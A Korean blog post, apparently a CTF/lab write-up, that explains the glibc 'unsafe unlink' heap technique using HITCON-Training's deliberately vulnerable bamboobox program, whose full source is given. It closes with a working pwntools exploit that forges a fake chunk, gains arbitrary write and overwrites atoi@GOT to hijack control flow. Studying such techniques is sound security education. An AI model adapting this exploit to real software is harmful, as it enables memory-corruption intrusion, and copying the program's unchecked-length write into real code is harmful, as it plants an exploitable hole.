새소식

인기 검색어

Hacking/System

Unsafe unlink

  • -
반응형

Unsafe unlink

해제된 청크들을 연결하는 이중 연결 리스트에서 청크를 연결해제하는 매크로인 unlink를 이용하여 Arbitrary write를 하는 공격 기법이다.

unlink 매크로는 인접한 2개 이상의 청크를 연속해서 해제했을 때 인접한 청크를 병합하기 위해서 사용된다.

소스코드를 보면 prev_inuse 비트가 0인지 확인한다. 0이면 이전 청크가 해제되었다는 뜻이니까 unlink 매크로를 실행한다.

FD->bk = BK, BK->fd = FD를 하기 전에 현재 청크의 포인터인지를 검증한다.

 

그리고 현재 P의 청크가 해제되었을 때 인접한 청크를 병합하기 위해 FD를 P->fd로 설정하고, BK를 P->bk로 설정한다.

왜냐하면 P를 병합하면 BK의 정보와 FD의 정보가 연결되어야 하기 때문에 FD->bk를 BK로 설정하고, BK->fd를 FD로 설정한다.

여기서 Unsafe unlink의 취약점을 이용하기 위해 우회해야 하는 검증은 2가지이다.

1. prev_inuse == 0

첫 번째로 prev_inuse bit가 0인지 확인하는 검증을 우회해야 한다.

2. Valid Chunk pointer

두 번째로 FD->bk == P && BK->fd == P의 조건을 만족해야 한다.

그래서 Fake chunk를 구성해야 하는데 만약 heap1의 chunk size가 0x111이면 heap2의 size를 0x110으로 변경한다. 그러면 prev_inuse bit가 0으로 설정되어 이전 chunk가 해제되었다고 판단할 것이다. 그리고 FD->bk와 BK->fd가 모두 P랑 같아야 하기 때문에 ptr-0x18과 ptr-0x10으로 덮어쓰면 해당 조건도 만족시켜서 fake chunk가 구성된다.


Unsafe unlink를 한 번 적용해 보자.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
        int size ;
        char *name ;
};

struct item itemlist[100] = {0};

int num ;

void hello_message(){
        puts("There is a box with magic");
        puts("what do you want to do in the box");
}

void goodbye_message(){
        puts("See you next time");
        puts("Thanks you");
}

struct box{
        void (*hello_message)();
        void (*goodbye_message)();
};

void menu(){
        puts("----------------------------");
        puts("Bamboobox Menu");
        puts("----------------------------");
        puts("1.show the items in the box");
        puts("2.add a new item");
        puts("3.change the item in the box");
        puts("4.remove the item in the box");
        puts("5.exit");
        puts("----------------------------");
        printf("Your choice:");
}

void show_item(){
        int i ;
        if(!num){
                puts("No item in the box");
        }else{
                for(i = 0 ; i < 100; i++){
                        if(itemlist[i].name){
                                printf("%d : %s",i,itemlist[i].name);
                        }
                }
                puts("");
        }
}

int add_item(){

        char sizebuf[8] ;
        int length ;
        int i ;
        int size ;
        if(num < 100){
                printf("Please enter the length of item name:");
                read(0,sizebuf,8);
                length = atoi(sizebuf);
                if(length == 0){
                        puts("invaild length");
                        return 0;
                }
                for(i = 0 ; i < 100 ; i++){
                        if(!itemlist[i].name){
                                itemlist[i].size = length ;
                                itemlist[i].name = (char*)malloc(length);
                                printf("Please enter the name of item:");
                                size = read(0,itemlist[i].name,length);
                                itemlist[i].name[size] = '\x00';
                                num++;
                                break;
                        }
                }

        }else{
                puts("the box is full");
        }
        return 0;
}

void change_item(){

        char indexbuf[8] ;
        char lengthbuf[8];
        int length ;
        int index ;
        int readsize ;

        if(!num){
                puts("No item in the box");
        }else{
                printf("Please enter the index of item:");
                read(0,indexbuf,8);
                index = atoi(indexbuf);
                if(itemlist[index].name){
                        printf("Please enter the length of item name:");
                        read(0,lengthbuf,8);
                        length = atoi(lengthbuf);
                        printf("Please enter the new name of the item:");
                        readsize = read(0,itemlist[index].name,length);
                        *(itemlist[index].name + readsize) = '\x00';
                }else{
                        puts("invaild index");
                }

        }

}

void remove_item(){
        char indexbuf[8] ;
        int index ;

        if(!num){
                puts("No item in the box");
        }else{
                printf("Please enter the index of item:");
                read(0,indexbuf,8);
                index = atoi(indexbuf);
                if(itemlist[index].name){
                        free(itemlist[index].name);
                        itemlist[index].name = 0 ;
                        itemlist[index].size = 0 ;
                        puts("remove successful!!");
                        num-- ;
                }else{
                        puts("invaild index");
                }
        }
}

void magic(){
        int fd ;
        char buffer[100];
        fd = open("/home/bamboobox/flag",O_RDONLY);
        read(fd,buffer,sizeof(buffer));
        close(fd);
        printf("%s",buffer);
        exit(0);
}

int main(){

        char choicebuf[8];
        int choice;
        struct box *bamboo ;
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        bamboo = malloc(sizeof(struct box));
        bamboo->hello_message = hello_message;
        bamboo->goodbye_message = goodbye_message ;
        bamboo->hello_message();

        while(1){
                menu();
                read(0,choicebuf,8);
                choice = atoi(choicebuf);
                switch(choice){
                        case 1:
                                show_item();
                                break;
                        case 2:
                                add_item();
                                break;
                        case 3:
                                change_item();
                                break;
                        case 4:
                                remove_item();
                                break;
                        case 5:
                                bamboo->goodbye_message();
                                exit(0);
                                break;
                        default:
                                puts("invaild choice!!!");
                                break;

                }
        }

        return 0 ;
}

다음 코드는 HITCON-Training Lab11의 bamboobox의 코드이다.

Unsafe unlink를 이용하려면 다음과 같은 조건이 필요하다.

  • 힙 영역을 전역 변수에서 관리
  • Fake Chunk 생성 가능
  • 첫 번째 Chunk를 통해 두 번째 Chunk의 헤더 조작

코드를 분석해 보면

struct item{
        int size ;
        char *name ;
};

struct item itemlist[100] = {0};

구조체와 전역변수를 이용하여 item을 관리한다.

그리고 item을 추가, 변경, 삭제할 수 있다.

Unsafe unlink에 필요한 취약한 코드를 살펴보자.

Change_item

void change_item(){

        char indexbuf[8] ;
        char lengthbuf[8];
        int length ;
        int index ;
        int readsize ;

        if(!num){
                puts("No item in the box");
        }else{
                printf("Please enter the index of item:");
                read(0,indexbuf,8);
                index = atoi(indexbuf);
                if(itemlist[index].name){
                        printf("Please enter the length of item name:");
                        read(0,lengthbuf,8);
                        length = atoi(lengthbuf);
                        printf("Please enter the new name of the item:");
                        readsize = read(0,itemlist[index].name,length);
                        *(itemlist[index].name + readsize) = '\x00';
                }else{
                        puts("invaild index");
                }

        }

}

change_item을 보면 item을 변경할 index를 확인한다. 그리고 index의 이름을 변경하는데 기존이름의 길이를 확인하지 않아서 fake chunk를 넣을 수 있다. 그리고 remove_item으로 free를 하면서 병합시킬 수 있다.

exploit

2개의 chunk를 생성한다.

0x80 size의 chunk를 할당하고 첫 번째 chunk를 fake chunk로 덮는다.

Fake chunk

Fake Chunk는 왼쪽그림과 같이 구성한다. 

itemlist의 addr 은 0x6020c0이다. 그런데 6020c0은 length가 들어가고 실질적으로 data addr은 0x6020c8에 들어가기 때문에 FD는 0x6020b0, BK는 0x6020b8이 들어간다. 그리고 heap2의 header를 overwrite 시켜야 하기 때문에 채우고 나서 0x80, 0x90을 채운다.

free가 되면 itemlist의 name은 0x6020b0 주소를 가리킨다. 그러면 우리는 0x6020b0의 주소에 Arbitrary write를 할 수 있다.

그럼 우리는 다시 itemlist의 name을 overwrite 할 수 있다. overwrite 할 때 atoi@got overwrite를 할 수 있다.

그럼 다시 0x6020c0까지 값을 채우고, 다시 atoi@got overwrite 주소를 쓰고 다시 거기에 magic 주소로 덮으면 된다.

 

from pwn import *

def slog(name, addr): return success(": ".join([name, hex(addr)]))

p = process("./bamboobox")
e = ELF("./bamboobox")

def add_item(size, data):
        p.sendlineafter(b":", b"2")
        p.sendafter(b"name:", str(size))
        p.sendafter(b"item:", data)

def change_item(idx, size, data):
        p.sendlineafter(b":", b"3")
        p.sendafter(b"item:", str(idx))
        p.sendafter(b"name:", str(size))
        p.sendafter(b"item:", data)

def remove_item(idx):
        p.sendlineafter(b":", b"4")
        p.sendafter(b"item:", str(idx))

itemlist = 0x6020c8
magic = e.symbols['magic']
atoi_got = e.got['atoi']

# Create chunk
add_item(0x80, b"AAAA")
add_item(0x80, b"BBBB")

# Create Fake Cunk
payload = p64(0) + p64(0)
payload += p64(itemlist - 0x18) + p64(itemlist -0x10)
payload += b'A'*0x60
payload += p64(0x80) + p64(0x90)

change_item(0, len(payload), payload)

remove_item(1)

slog("atoi@got", atoi_got)
slog("magic", magic)

# atoi@get overwrite
payload = b'A'*0x18
payload += p64(atoi_got)
change_item(0, len(payload), payload)
change_item(0, len(p64(magic)), p64(magic))

p.sendlineafter(b":", b"2")

p.interactive()
반응형

'Hacking > System' 카테고리의 다른 글

Master Canary  (0) 2023.08.22
Calling Convention  (0) 2023.08.21
unsorted bin attack  (0) 2023.05.30
Double Free  (0) 2023.04.18
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.